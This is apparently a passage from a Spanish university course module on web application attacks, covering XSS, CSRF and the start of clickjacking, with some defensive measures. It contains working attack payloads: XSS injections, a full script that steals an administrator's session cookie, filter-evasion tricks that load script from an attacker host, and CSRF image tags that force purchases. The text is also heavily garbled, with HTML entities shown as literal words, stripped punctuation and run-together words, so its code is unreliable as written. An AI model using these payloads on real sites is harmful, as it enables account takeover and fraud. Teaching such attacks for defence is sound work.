o no factible un ataque mediante XSS

Una paacutegina es vulnerable a XSS cuando aquello que nosotros enviamos

al servidor (un comentario un cambio en un perfil una buacutesqueda etc)

se ve posteriormente mostrado en la paacutegina de respuesta

Esto es cuando escribimos un comentario en una paacutegina y podemos leer

posteriormente nuestro mensaje modificamos nuestro perfil de usuario

y el resto de usuarios puede verlo o realizamos una buacutesqueda y se nos

muestra un mensaje ldquoNo se han encontrado resultados para lttextogtrdquo

se estaacute incluyendo dentro de la paacutegina el mismo texto que nosotros

hemos introducido Ahiacute es donde vamos a empezar a investigar para

lograr introducir nuestro coacutedigo XSS

Una vez se ha detectado una zona de la aplicacioacuten que al recibir texto proce-

dente del usuario lo muestra en la paacutegina es el momento de determinar si es

posible utilizar esa zona como punto de ataque de XSS Para ello es posible

insertar un pequentildeo coacutedigo Javascript que muestra un mensaje de alerta para

descubrir raacutepidamente si se estaacute actuando en la liacutenea correcta de ataque Para

los ejemplos se utilizaraacute el siguiente coacutedigo

ltscriptgtalert(iexclHola Mundo)ltscriptgt

El coacutedigo anterior va a ser vaacutelido para la mayor parte de los casos aunque

como se veraacute posteriormente determinados filtros Anti-XSS pueden imposibi-

litar el uso de ciertos caracteres a la hora de introducir el coacutedigo Javascript Por

ejemplo las comillas dobles o los caracteres de ldquomayor querdquo y ldquomenor querdquo

suelen estar prohibidos

Imaginemos que disponemos de un perfil en una red social donde se nos permite modi-ficar nuestra descripcioacuten personal En lugar de escribir otra informacioacuten en este apartadose introduce el coacutedigo JavaScript anterior Si al visitar de nuevo nuestro perfil se muestrauna ventana de alerta con el mensaje ldquoiexclHola Mundordquo se puede afirmar que la paacutegina encuestioacuten es vulnerable a XSS

Dentro de los posibles fallos de XSS podemos distinguir dos grandes categoriacuteas

bull Permanentes El ejemplo comentado en el paacuterrafo anterior pertenece a esta

categoriacutea Su denominacioacuten se debe al hecho de que como mostraba el

ejemplo la ventana de alerta en Javascript queda almacenada en alguacuten

lugar habitualmente una base de datos SQL y se va a mostrar a cualquier

usuario que visite nuestro perfil Evidentemente este tipo de fallos de XSS

son mucho maacutes peligrosos que los no permanentes que se comentan a

continuacioacuten

CC-BY-NC-ND bull PID_00191662 9 Ataques a aplicaciones web

bull No permanentes Esta categoriacutea queda ilustrada con el caso que ahora se

menciona Nos encontramos con una paacutegina web que dispone de busca-

dor el cual al introducir una palabra inventada o una cadena aleatoria de

caracteres muestra un mensaje del tipo ldquoNo se han encontrado resultados

para la buacutesqueda lttextogtrdquo donde lttextogt es la cadena introducida en

el campo de buacutesqueda

Si en la buacutesqueda se introduce como lttextogt el coacutedigo Javascript antes indi-

cado y de nuevo aparece la ventana de alerta significa que la aplicacioacuten es

vulnerable a XSS La diferencia es que en esta ocasioacuten los efectos de la accioacuten

no son permanentes

XSS (cross site scripting) consiste en la posibilidad de introducir coacutedigo

Javascript en una aplicacioacuten web lo que permite realizar una serie de

acciones maliciosas en la misma

Para inyectar el coacutedigo se localiza una zona de la paacutegina que por su funcio-

nalidad incorpora dentro de su propio coacutedigo HTML el coacutedigo Javascript que

anteriormente se ha introducido en alguacuten lugar de la aplicacioacuten Si este coacutedigo

se ha escrito en alguacuten campo donde queda almacenado en una base de datos

de forma permanente se mostraraacute cada vez que un usuario acceda a la paacutegina

Sin embargo las vulnerabilidades maacutes habituales son las no permanentes En

estos casos es necesario recurrir a la ingenieriacutea social para efectuar el ataque

Para ello es necesario fijarse en primer lugar en la URL de la paacutegina que deberaacute

ser algo similar a

httpwwwvictimacomsearchquery=ltscriptgtalert(Hola Mundo)ltscriptgt

Una vez se disponga de esta URL se deberaacute de procurar que la viacutectima haga

clic sobre ella ejecutando el coacutedigo Javascript Esta situacioacuten corresponderiacutea

ya a otro aacutembito de estudio como es la ingenieriacutea social

111 Ataques

Vamos a comentar a continuacioacuten las posibles implicaciones de seguridad que

pueden presentar un fallo de este tipo Ha de considerarse que se trata uacutenica-

mente de ideas generales y que el liacutemite lo pone la imaginacioacuten del atacante

y las funcionalidades de la aplicacioacuten objetivo del ataque

bull Un ataque de XSS puede tomarelcontrolsobreelnavegadordelusua-

rioafectado y como tal realizar acciones en la aplicacioacuten web Si se ha

logrado que un usuario administrador ejecute nuestro coacutedigo Javascript

las posibilidades de actuacioacuten maliciosa son muy superiores Seraacute posible

por citar alguacuten ejemplo desde borrar todas las noticias de una paacutegina a

generar una cuenta de administrador con los datos que nosotros especifi-

CC-BY-NC-ND bull PID_00191662 10 Ataques a aplicaciones web

quemos Si el coacutedigo Javascript es ejecutado por un usuario sin derechos de

administracioacuten se podraacute realizar cualquier modificacioacuten asociada al perfil

especiacutefico del usuario en el sitio web

bull Otra posible accioacuten a efectuar haciendo uso de estas teacutecnicas es el phishing

Mediante Javascript como hemos visto podemos modificar el comporta-

miento y la apariencia de una paacutegina web Esto permite crear un formula-

rio de login falso o redirigir el submit de uno existente hacia un dominio

de nuestro control

bull Igualmente se puede ejecutar ataques de defacement1 apoyaacutendonos en teacutec-

nicas que explotan vulnerabilidades XSS

bull Por otra parte aunque menos habitual es posible realizar un ataquedede-

negacioacutendeserviciosdistribuidos (distributed dennial of services DDoS)

Para ello se forzaraacute mediante coacutedigo Javascript a que los navegadores ha-

gan un uso intensivo de recursos muy costosos en ancho de banda o ca-

pacidad de procesamiento de un servidor de forma asiacutencrona

bull Para finalizar tenemos el gusano XSS un coacutedigo Javascript que se propaga

dentro un sitio web o entre paacuteginas de Internet Supongamos la existen-

cia de un fallo XSS en la descripcioacuten personal de los usuarios de una red

social En esta situacioacuten un usuario malintencionado podriacutea crear coacutedigo

Javascript que copiase el coacutedigo del gusano al perfil del usuario que visita

otro perfil infectado y que adicionalmente realizase alguacuten tipo de modifi-

cacioacuten en los perfiles afectados

Como se puede comprobar las posibilidades que ofrece el XSS son realmen-

te amplias Las uacutenicas limitaciones la constituye la imposibilidad de ejecutar

coacutedigo fuera del navegador dado que la sandbox sobre la que se ejecuta no

permite el acceso a ficheros del sistema y a las propias funcionalidades que

ofrezca el sitio web objeto del posible ataque

112 Meacutetodos para introducir XSS (cross site scripting)

Para exponer las distintas metodologiacuteas que permiten introducir coacutedigo Javas-

cript en una paacutegina vulnerable a XSS vamos a desarrollar una serie de praacutecticas

de la teacutecnica Abordaremos los meacutetodos maacutes comunes para insertar el coacutedigo

malicioso generado Los meacutetodos expuestos se nombraraacuten en funcioacuten de las

zonas de coacutedigo de la aplicacioacuten web donde va a quedar ubicado el coacutedigo

Javascript introducido

bull ElcoacutedigosecopiaentredosetiquetasHTML Es el modo maacutes sencillo

Simplemente debemos introducir el coacutedigo Javascript que deseemos eje-

cutar

(1)Es maacutes que la modificacioacuten de laapariencia original de una paacuteginaweb para que muestre un mensajenormalmente reivindicativo en lu-gar de su apariencia normal

CC-BY-NC-ND bull PID_00191662 11 Ataques a aplicaciones web

ltscriptgtalert(iexclHola Mundo)ltscriptgt

bull Elcoacutedigosecopiadentrodeunaetiquetavaluedeunaetiquetaltin-

putgt El ejemplo baacutesico es el de los buscadores en sitios web y que se des-

cribioacute anteriormente Cuando realizamos una buacutesqueda a traveacutes de ellos

lo habitual es que el teacutermino introducido se copie dentro del campo del

buscador Esto en HTML quedariacutea como el coacutedigo que se muestra a con-

tinuacioacuten

ltinput type=text name=q2 value=[busqueda] gt

Como se puede observar nuestro coacutedigo queda situado entre unas comillas

dobles de un atributo perteneciente a una etiqueta HTML que no permiten

que este se ejecute Por ello seraacute necesario cerrar la etiqueta HTML en la

que nos encontremos y posteriormente insertar el coacutedigo Javascript

gtltscriptgtalert(iexclHola Mundo)ltscriptgtltdiv class=

Esta seriacutea la combinacioacuten resultante

ltinput type=text name=q value=gt

ltscriptgtalert(Hola Mundo)ltscriptgtltdiv class= gt

Al final del coacutedigo generado se ha introducido una etiqueta ltdivgt para

evitar de este modo que el coacutedigo HTML quede malformado

bull ElcoacutedigosecopiadentrodeuncomentarioHTML Este caso suele ser

comuacuten en paacuteginas mal programadas que dejan mensajes de depuracioacuten

dentro del coacutedigo fuente HTML Un ejemplo de lo que podriacuteamos encon-

trar en una situacioacuten de este tipo es el siguiente

lt-- La busqueda fue [busqueda] --gt

Donde [busqueda] corresponderiacutea a la cadena de texto buscada En es-

te caso se deberiacutean cerrar los caracteres de comentario HTML introducir

nuestro coacutedigo Javascript y posteriormente volver a abrir los comentarios

HTML De este modo el coacutedigo creado por nosotros deberiacutea compenetrarse

perfectamente con el coacutedigo original de la paacutegina

--gtltscriptgtalert(iexclHola Mundo)ltscriptgtlt-

Esta podriacutea ser la combinacioacuten adecuada

lt-- La busqueda fue --gtltscriptgtalert(Hola Mundo)ltscriptgt

lt-- --gt

CC-BY-NC-ND bull PID_00191662 12 Ataques a aplicaciones web

bull ElcoacutedigosecopiadentrodeuncoacutedigoJavascript Esto es habitual cuan-

do las paacuteginas utilizan datos introducidos por el usuario para generar al-

guacuten tipo de evento personalizado o para almacenar datos que se van a usar

posteriormente en alguacuten otro lugar de la aplicacioacuten web La sintaxis seriacutea

como la siguiente

ltscriptgt var busqueda = [busqueda] ltscriptgt

En este punto no es necesario incluir las etiquetas ltscriptgt sino que po-

demos directamente introducir el coacutedigo Javascript como se refleja en la

siguiente sintaxis No tener que incluir las etiquetas ltscriptgt seraacute impor-

tante cuando sea necesario evitar los filtros anti-XSS que las eliminan

alert(iexclHola Mundo)

Hemos utilizado las barras al final de la sintaxis para lograr que el resto de

la liacutenea Javascript quede comentada y no interfiera en la ejecucioacuten de nues-

tro coacutedigo Esta circunstancia es ahora auacuten maacutes determinante que cuan-

do nos encontramos incorporando el coacutedigo generado al coacutedigo HTML

debido a que si el Javascript no es vaacutelido la mayoriacutea de los navegadores

no lo ejecutaraacuten

ltscriptgt var busqueda =alert(iexclHola Mundo)ltscriptgt

bull Otroscasos los especificados anteriormente son los ejemplos maacutes comu-

nes donde vamos a encontrar que nuestro coacutedigo Javascript se incluye

dentro del coacutedigo HTML de una paacutegina En los casos indicados se ha par-

tido del supuesto de que no existen filtros anti-XSS implementados Jun-

to a los anteriores existen otros casos maacutes complejos para la inclusioacuten de

coacutedigo Javascript como puede ser hacerlo en cabeceras HTTP

113 Diseccionando un ataque

Para entender mejor el funcionamiento de esta teacutecnica vamos a analizar un

ataque desde el inicio hasta el final El ataque consistiraacute en el robo de la co-

okie de sesioacuten del usuario administrador de un sitio web La cookie de sesioacuten

consiste en un pequentildeo fichero (de hasta 4 Kb) que contiene un identificador

uacutenico y que se enviacutea desde nuestro navegador junto a cada peticioacuten que rea-

lizamos hacia un servidor Este identificador asociado a un usuario que se ha

ldquologeadordquo satisfactoriamente en el sistema evita tener que introducir sus cre-

denciales para cada paacutegina que el usuario visita dentro de un mismo dominio

Por lo tanto si obtenemos el identificador de otro usuario y se lo enviamos

al servidor este nos asociaraacute en todo momento al usuario al que estamos su-

plantando

CC-BY-NC-ND bull PID_00191662 13 Ataques a aplicaciones web

El paso principal en todo anaacutelisis en busca de vulnerabilidades de tipo XSS en

una paacutegina web es localizar zonas funcionales de esta que permitan la intro-

duccioacuten de texto donde este se vuelva a mostrar bien de forma permanente

si queda almacenado en una base de datos o bien de forma no permanente

si no es asiacute

En el caso mostrado en la siguiente imagen la paacutegina web ofrece un servicio

de mensajeriacutea entre usuarios que puede ser un ejemplo simple para un posible

ataque XSS

Figura 2 Enviacuteo de mensaje

Para determinar si un campo ya sea un paraacutemetro desde la URL o un campo

de texto donde sea posible escribir es vulnerable a XSS vamos a introducir una

serie de caracteres para comprobar si existe alguacuten filtro anti-XSS Los caracteres

a introducir seriacutean

bull Comilla simple (lsquo)

bull Comilla doble (ldquo)

bull Siacutembolo de mayor que (gt)

bull Siacutembolo de menor que (lt)

bull Barra ()

bull Espacio ( )

Si somos capaces de introducir estos caracteres existe un alto porcentaje de po-

sibilidades de encontrar alguacuten fallo de XSS Sin embargo no podemos asegurar

su existencia de forma totalmente definitiva siempre existe la posibilidad de

encontrarnos con alguacuten otro tipo de filtro que nos impida introducir palabras

clave como script onload o javascript

En el escenario que ahora se plantea se puede introducir cualquier tipo de ca-

raacutecter o cadena de caracteres tras verificar que estos no son filtrados ni blo-

queados Vamos a aprovecharnos de esta situacioacuten para generar nuestro pri-

mer ataque de XSS

En el campo de Para vamos a escribir nuestro propio nombre de usuario evi-

luser De este modo todas las pruebas que realicemos se enviacutean directamente a

este usuario evitando alertar al usuario administrador En el campo del Cuer-

CC-BY-NC-ND bull PID_00191662 14 Ataques a aplicaciones web

po del mensaje vamos a introducir un texto con coacutedigo Javascript que nos

muestre un mensaje de ldquoHola Mundordquo como lo haciacutean ejemplos anteriores El

resultado del coacutedigo introducido antes de enviar se puede ver a continuacioacuten

Figura 3 XSS antes de ser enviado

En este punto es importante detenernos y analizar lo que ocurriraacute cuando ha-

gamos clic en el botoacuten Enviar Aun siendo nosotros los que hemos introducido

y enviado este coacutedigo la vulnerabilidad XSS auacuten no habraacute sido explotada Esto

ocurriraacute cuando con nuestro usuario eviluser naveguemos hasta su bandeja

de entrada Es por esta razoacuten por lo que los fallos de XSS se diferencian del

resto de teacutecnicas Tras pulsar Enviar y desplazarnos a la bandeja de entrada

obtendremos una ventana de alerta con el mensaje especificado

Realmente de lo anterior lo que nos interesa es analizar coacutemo ha quedado el

coacutedigo fuente HTML resultante de los pasos anteriores y seguacuten nos lo devuelve

el servidor

lta href=indexphpaction=deletegtltimg src=trashpng gtBorr

lta href=indexphpaction=logoutgtltimg src=system-log-outpn

ltdiv class=contenidogt

ltp class=autorgt De eviluserltpgtltp class=mensajegtltscriptgt

ltscriptgtltpgtltdivgt

ltdivgt

ltbodygt

Como se puede observar todos y cada uno de los caracteres que hemos intro-

ducido han quedado almacenados en la base de datos y se han copiado en el

coacutedigo HTML generado sin que se les haya aplicado ninguacuten filtro

Una vez demostrado que podemos ejecutar coacutedigo Javascript en la paacutegina se

estaraacute en disposicioacuten de empezar a jugar con sus funcionalidades De este mo-

do seraacute posible crear un coacutedigo que cierre la sesioacuten del usuario automaacutetica-

mente o que borre todos sus mensajes La lista de posibilidades de acciones

maliciosas seriacutea interminable

CC-BY-NC-ND bull PID_00191662 15 Ataques a aplicaciones web

En el ejemplo que estamos exponiendo vamos a desarrollar una accioacuten de

mayor gravedad utilizando para ello tecnologiacutea AJAX (asynchronous Javascript

and XML) pasando a enviar mensajes de manera automaacutetica utilizando para

ello la cuenta del usuario Con ello vamos a conseguir que aquel usuario que

reciba nuestro mensaje nos enviacutee un mensaje a nuestra bandeja de entrada

conteniendo su cookie de sesioacuten Si se lo enviamos a un usuario con privilegios

administrativos lograremos control total sobre la aplicacioacuten

Generalmente seraacute necesaria una buena base de Javascript para explotar de

manera satisfactoria cualquier fallo de XSS En este caso estos conocimientos

deberaacuten ser avanzados Aquiacute se va a facilitar un coacutedigo completamente fun-

cional y que analizaremos liacutenea por liacutenea para que se pueda entender el obje-

tivo del mismo

ltscriptgt

d = ampto=eviluserampenviar=Enviarampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest()

else

x=new ActiveXObject(MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Typeapplicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

Este coacutedigo Javascript nos va a permitir recoger la cookie de sesioacuten del usuario

De manera totalmente transparente para el usuario afectado este nos la en-

viaraacute mediante un mensaje Procedamos al anaacutelisis

bull Inicialmente se declara una variable d Esta variable contiene los valores

de ampto ampenviar y ampmensaje que son las variables que se enviacutean en la apli-

cacioacuten cuando mandamos un mensaje Detalle importante a observar es el

contenido de la variable ampmensaje documentcookie un objeto del DOM2

de la paacutegina que contiene todas las cookies asociadas al dominio actual

bull En las liacuteneas siguientes se realiza un ifelse que nos asegura la creacioacuten

de un objeto de tipo XMLHttpRequest tanto en navegadores Internet Ex-

plorer como Firefox o similares Este objeto es el usado para realizar las

peticiones AJAX

bull Con open() establecemos las condiciones que se van a utilizar para enviar el

formulario Seraacute enviado por POST a la url funcsendphp Esto se obtiene

(2)DOM son las siglas de documentobject model Es una manera denombrar cualquier elemento deuna paacutegina web desde la barra dedirecciones hasta un simple tex-to en negrita mediante una no-menclatura jeraacuterquica Por ejem-plo todos los elementos HTML deuna paacutegina estaacuten relacionados endocumentbody

CC-BY-NC-ND bull PID_00191662 16 Ataques a aplicaciones web

analizando de nuevo el formulario de enviacuteo Mediante true se indica que

la peticioacuten seraacute realizada de manera asiacutencrona esto es el navegador no se

quedaraacute ldquocongeladordquo mientras se enviacutea el mensaje

bull Las dos siguientes liacuteneas en las que se llama a la funcioacuten setRequestHeader()

se usan para establecer cabeceras HTTP que hagan que el servidor web

entienda que lo que estamos enviando es un formulario aunque el usuario

no lo haya rellenado

bull Para terminar se invoca a send() pasaacutendole como paraacutemetro la variable d

que teniacuteamos creada desde el principio del coacutedigo Con esto el navegador

realiza las acciones definidas anteriormente y si todo ha salido bien el

usuario afectado nos enviaraacute su cookie de sesioacuten

Para verificar que el ataque se estaacute efectuando seguacuten lo previsto vamos a enviar

un mensaje al usuario admin y desde otro navegador iniciaremos sesioacuten con

nuestro usuario para comprobar asiacute que el coacutedigo cumple con su cometido

Figura 4 XSS antes de ser enviado

Como se puede apreciar en la imagen anterior se ha antildeadido un mensaje en

el cuerpo del enviacuteo para que el usuario administrador no sospeche al recibir

un mensaje vaciacuteo Despueacutes de pulsar el botoacuten Enviar el usuario eviluser solo

tendraacute que sentarse a esperar refrescando su bandeja de entrada hasta que re-

ciba un mensaje de usuario admin con el valor de su cookie de sesioacuten El coacutedi-

go Javascript enviado se podraacute observar dentro del coacutedigo fuente pero pasaraacute

completamente desapercibido para el usuario admin cuando este inicia sesioacuten

con su navegador y automaacuteticamente se le presenta su bandeja de entrada

El coacutedigo HTML recibido por el usuario admin al abrir su bandeja de entrada

seriacutea

ltdiv class=contenidogt

ltp class=autorgtDe eviluserltpgtltp class=mensajegtltscriptgt

d= ampto=eviluserampenviar= Enviar ampmensaje=Mi cookie es +documentcookie

if(windowXMLHttpRequest)

x=new XMLHttpRequest ()

CC-BY-NC-ND bull PID_00191662 17 Ataques a aplicaciones web

else

x=new ActiveXObject (MicrosoftXMLHTTP)

xopen(POSTfuncsendphptrue)

xsetRequestHeader(Content-Type applicationx-www-form-urlencoded)

xsetRequestHeader(Content-Lengthdlength)

xsend(d)

ltscriptgt

iexclQue pagina mas chulaltpgtltdivgt

ltdivgt

ltbodygt

Este coacutedigo ha sido interpretado por el navegador del usuario admin y auto-

maacuteticamente se ha enviado un mensaje al usuario eviluser con la cookie de

sesioacuten

Figura 5 Mensaje recibido por el usuario eviluser

Con esta informacioacuten en su poder el usuario eviluser puede proceder a modi-

ficar el valor de su cookie con el valor recibido De este modo cuando su nave-

gador lo enviacutea al servidor este responde con las paacuteginas correspondientes al

usuario admin

Esta demostracioacuten es un claro ejemplo del potencial que puede llegar a impli-

car un ataque basado en XSS Como se ha visto sin conocer la contrasentildea del

administrador de un sitio web hemos logrado acceder a su cuenta

114 Filtros XSS

En la gran mayoriacutea de las ocasiones no seraacute posible escribir coacutedigo Javascript

directamente como se ha realizado en el ejemplo anterior Habitualmente los

programadores habraacuten establecido una serie de reglas para intentar evitar los

fallos XSS Sin embargo habitualmente los filtros utilizados son implementa-

ciones parciales de lo que deberiacutea ser un filtro antiXSS completo y esto nos

permite introducir nuestro coacutedigo Javascript salvando las dificultades adicio-

nales que se presenten

CC-BY-NC-ND bull PID_00191662 18 Ataques a aplicaciones web

Vamos a plantear una serie de medidasdeproteccioacuten que podemos encon-

trarnos y coacutemo pasar las limitaciones impuestas por estas Esto nos serviraacute para

entender coacutemo piensa un atacante a la hora de introducir coacutedigo XSS y mejo-

rar de este modo nuestras posibles implementaciones de filtros antiXSS

bull Cuandointroducimosloscaractereslsquooldquosecambianporrsquoordquo Esta

teacutecnica es conocida como ldquoescapar los caracteresrdquo y es uacutetil frente a inyec-

ciones SQL aunque no lo es frente a ataques XSS Cuando intentamos ce-

rrar una etiqueta HTML como vimos anteriormente y nos encontramos

con que se estaacuten escapando nuestras comillas pueden darse dos situacio-

nes ambas salvables por parte del atacante La etiqueta queda cerrada co-

mo rsquo o rdquo algo que en HTML es totalmente vaacutelido por lo que podemos

seguir introduciendo coacutedigo Javascript

ltinput type=text name=q value= gt

ltscriptgtalert(documentcookie)ltscriptgt

Es imposible establecer la cadena ldquoiexclHola Mundordquo al no poder escri-

bir correctamente las comillas Son varios los meacutetodos que se pue-

den usar en estos casos Por ejemplo podemos utilizar la funcioacuten

StringfromCharCode() que recibe una lista de coacutedigos ASCII y genera una

cadena

StringfromCharCode(72 111 108 97 32 77 117 110 100 111 33)

Tambieacuten es posible establecer referencias a ficheros Javascript externos

donde podremos usar todos los caracteres que deseemos sin preocuparnos

por ninguacuten tipo de filtro

ltscript src=httpwwwatacantecomxssjsgtltscriptgt

bull ElcoacutedigointroducidonopuedesersuperioraXcaracteres Una limi-

tacioacuten tiacutepica es encontrarnos que no podemos escribir maacutes de un nuacutemero

determinado de caracteres Esta limitacioacuten se puede solventar de nuevo

de dos maneras

ndash Si son varias las variables donde es posible introducir coacutedigo Javascript

podemos usar la suma de los caracteres correspondientes a cada una de

ellas para ampliar el nuacutemero de caracteres disponibles Esto se realiza-

riacutea mediante los caracteres de comentarios multiliacutenea de Javascript

al inicio y al final

ndash Si estamos limitados al tamantildeo un solo campo es posible utilizar un

fichero externo para cargar todo el coacutedigo Javascript necesario Para

reducir la longitud de la direccioacuten URL podemos usar paacuteginas del estilo

tinyurlcom o isgd Asiacute por ejemplo la URL httpwwwvictimacom

xssjs queda traducida a httpisgdowYT

CC-BY-NC-ND bull PID_00191662 19 Ataques a aplicaciones web

ltscript src=httpisgdowYTgtltscriptgt

bull Nopodemosintroducirlacadenascriptonosenospermiteintroducir

loscaracteresdemayorque(gt)ymenorque(lt) Aunque inicialmen-

te podriacutean parecer dos casos distintos al final pueden ser resueltos de la

misma manera Las etiquetas HTML tienen eventos que pueden lanzarse al

ocurrir ciertos sucesos OnLoad cuando se carga el elemento OnMouseO-

ver cuando se desplaza el cursor por encima OnClick cuando se hace clic

sobre eacutel etceacutetera Podemos usar estos elementos para introducir nuestro

coacutedigo

ltinput type=text name=buacutesqueda value=

OnFocus=alert(Hola Mundo) gt

bull Otroscasos Las teacutecnicas de XSS son tan variadas como podamos imaginar

Hay que tener en cuenta que no dependemos de la tecnologiacutea del servidor

sino de la del navegador que esteacuten usando los usuarios Existen teacutecnicas

para ejecutar coacutedigo Javascript que funcionan en Internet Explorer 7 y no

en Firefox 3 o incluso coacutedigo que se ejecuta en Safari 3 pero no lo hace en

la versioacuten 4 Es por ello por lo que no es factible automatizar esta teacutecnica

ni llegar a conocer todos los entresijos de la misma sino que el atacante

deberaacute utilizar su conocimiento y experiencia para lograr introducir el coacute-

digo XSS

12 Cross Site Request Forgery (CSRF)

Una vez entendida la base del XSS es el momento de estudiar algunas teacutecnicas

concretas derivadas de esta y lo que es posible hacer con ellas Una de ellas es

el cross site request forgery (CSRF)

El CSRF es una teacutecnica por la cual vamos a lograr que el usuario realice

acciones no deseadas en dominios remotos Se basa en la idea de apro-

vechar la persistencia de sesiones entre las pestantildeas de un navegador

Vamos a analizar con un ejemplo hipoteacutetico para entenderla

El usuario abre su navegador y entra en el sitio wwwsitio001com En este sitio iniciasesioacuten con su usuario y se le permite realizar una serie de acciones econoacutemicas tales comopujas o compras de objetos A su vez entra en la red social de moda wwwsitio002comdonde tiene sus fotos personales y se escribe mensajes con sus amigos Sin embargoresulta que en el sitio002com tiene un fallo de XSS permanente y un atacante lo va ausar para generar un ataque CSRF

Cuando nos ldquologeamosrdquo en un sitio determinado se nos asocia una cookie de sesioacuten quenos autentica uacutenicamente frente al servidor Esto evita tener que introducir nuestras cre-denciales en cada paacutegina que visitemos Sin embargo no podemos controlar cuaacutendo seenviacutean estas cookies Si nuestro navegador tiene almacenada una cookie asociada a un do-

CC-BY-NC-ND bull PID_00191662 20 Ataques a aplicaciones web

minio la enviaraacute en cada peticioacuten realizada a este dominio incluso si esta no se realizavoluntariamente

En este concepto se basa la teacutecnica de CSRF Vamos a obligar a un usuario a que realiceacciones no deseadas sobre un dominio desde otro Imaginemos que el sitio001comque recordemos permitiacutea transacciones econoacutemicas utiliza URL como la siguiente parala compra de objetos con la tarjeta de creacutedito almacenada

httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes

Si un usuario malintencionado lograse que un usuario autenticado en la paacutegina anteriorrealizase clic sobre el enlace obtendriacutea como resultado la compra del objeto en cuestioacutenEsto es podriacutea engantildear a la gente para comprar objetos que eacutel pusiera a la venta por unprecio desorbitado

Sin embargo un usuario avezado no hariacutea clic sobre un enlace desconocido y recibidopor una persona en la cual no confiacutea Es aquiacute donde entra en juego la teacutecnica de CSRFpermitiendo a un atacante ldquosimularrdquo clics veriacutedicos sobre una aplicacioacuten usando las cre-denciales (cookie de sesioacuten) de un usuario Esta accioacuten mediante XSS es sencilla

Como ya se ha puesto de manifiesto muacuteltiples veces a lo largo de este moacutedulo es nece-sario conocer muy a fondo el funcionamiento de los navegadores En este caso vamos ahacer uso de una condicioacuten que todos los navegadores comparten pues no haremos usode coacutedigo Javascript sino que utilizaremos coacutedigo HTML

Los navegadores web al encontrarse una etiqueta ltimggt siguen la direccioacuten del recursoespecificado en el paraacutemetro src Esto implica una conexioacuten para intentar descargar laimagen y esta puede realizarse entre dominios Si la imagen no se encuentra disponible ola respuesta que se recibe desde el servidor no es interpretable como imagen se mostraraacuteel icono de imagen rota

Un atacante puede aprovechar esta caracteriacutestica de los navegadores para obligar a losusuarios afectados a realizar acciones que no desean Crear una imagen que apunte a ladireccioacuten URL anteriormente indicada generariacutea una peticioacuten por parte de todos los na-vegadores que visitasen la paacutegina que contiene el coacutedigo HTML y que como veiacuteamos in-tentariacutea comprar un objeto en el dominio wwwsitio001com El siguiente coacutedigo HTMLse deberiacutea introducir por ejemplo en un comentario del sitio wwwsitio002com

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes gt

Como se puede observar la teacutecnica es tan simple como efectiva Es posible hacer usode Javascript para que el ataque sea mucho maacutes discreto Las imaacutegenes disponen de unevento onerror que se lanza al no poder cargar la imagen Esto es parecido al atributoalt que se muestra cuando un navegador no soporta imaacutegenes Usando este evento ymodificando el recurso referenciado en src podemos cargar una imagen existente despueacutesde hacer la modificacioacuten maliciosa a traveacutes de CSRF

ltimg src=httpwwwsitio001comcompraraspidObjeto=31173ampconfirm=yes onerror=thissrc=logojpgthisonerror=nullgt

Igualmente seriacutea posible desencadenar un ataque de forma maacutes discreta usan-

do CSS (cascading style sheets hojas de estilo para paacuteginas web) para evitar que

la imagen rota que se genera se le muestre al usuario

El ataque anteriormente descrito se ha podido llevar a cabo gracias a que la

paacutegina de sitio001com acepta peticiones GET aquellas donde los paraacutemetros

se remiten en la URL en lugar de requerir POST para los enviacuteos de informacioacuten

Una peticioacuten GET siempre seraacute maacutes faacutecil de manipular que una peticioacuten POST

Esto es asiacute porque para generar una peticioacuten POST debemos escribir coacutedigo

Javascript el cual puede entrar en conflicto con posibles filtros antiXSS que

existan en la aplicacioacuten

CC-BY-NC-ND bull PID_00191662 21 Ataques a aplicaciones web

Sin embargo y aunque establecieacutesemos como requisito indispensable que las

peticiones se realicen mediante POST esto no nos garantizariacutea la seguridad de

nuestra paacutegina ni de nuestros clientes

Para mejorar la seguridad frente a un posible ataque podemos hacer uso de las

cabeceras Referer Estas indican la paacutegina desde la que se ha llegado a otra Se

utilizan por ejemplo para conocer cuaacuteles son las buacutesquedas que permiten a

un usuario llegar a un sitio web desde un buscador Una medida de proteccioacuten

aunque se puede saltar seriacutea comprobar que las peticiones realizadas a nuestras

paacuteginas o al menos a aquellas que impliquen acciones sensibles se realicen

desde nuestro propio dominio

La uacutenica proteccioacuten real frente a ataques de CSRF es la de establecer una serie

de valores numeacutericos que se generen de manera uacutenica en cada peticioacuten Estos

pueden ser establecidos como un CAPTCHA que el usuario debe introducir al

realizar acciones criacuteticas o como un valor oculto en un campo hidden dentro

del coacutedigo de la paacutegina que comprobamos cuando el usuario nos devuelve la

peticioacuten Estas medidas aunque tediosas de programar nos permiten asegurar

los datos de nuestros usuarios

Como usuarios de aplicaciones posiblemente vulnerables a CSRF podemos

tomar una serie de precauciones que intenten evitar un ataque mediante esta

teacutecnica Las medidas son

bull Cerrar la sesioacuten inmediatamente tras el uso de una aplicacioacuten

bull No permitir que el navegador almacene las credenciales de ninguna paacutegi-

na ni que ninguacuten servidor mantenga nuestra sesioacuten recordada maacutes que

durante el tiempo de uso

bull Utilizar navegadores distintos para las aplicaciones de ocio y las criacuteticas

Con esto nos aseguramos la independencia de las cookies de sesioacuten entre

navegadores

13 Clickjacking

Las teacutecnicas de clickjacking son una amenaza reciente para los navega-

dores y sus usuarios Se basan en engantildear a los usuarios para que ha-

gan clic sobre elementos de un sitio web donde ellos nunca lo hariacutean

voluntariamente

Esto se consigue superponiendo dos paacuteginas

CC-BY-NC-ND bull PID_00191662 22 Ataques a aplicaciones web

bull Una la principal con la paacutegina donde queremos que realmente los usua-

rios hagan clic en zonas especiacuteficas como por ejemplo un banco para rea-

lizar una transferencia

bull Otra la que sirve como engantildeo superpuesta sobre la anterior y con con-

tenidos que sirvan de aliciente para que el usuario realice los clics en las

zonas deseadas por ejemplo un pequentildeo juego donde debemos cliquear

en determinadas zonas

Esta teacutecnica se basa en el uso de iframes superpuestos Los iframes son elemen-

tos HTML que permiten la inclusioacuten de un recurso externo dentro de nuestra

paacutegina Aunque contienen una serie de limitaciones a la hora de acceder a

ellos mediante Javascript son de posible uso para engantildear al usuario

1) El primer paso es generar una paacutegina con la URL que se quiere secuestrar y

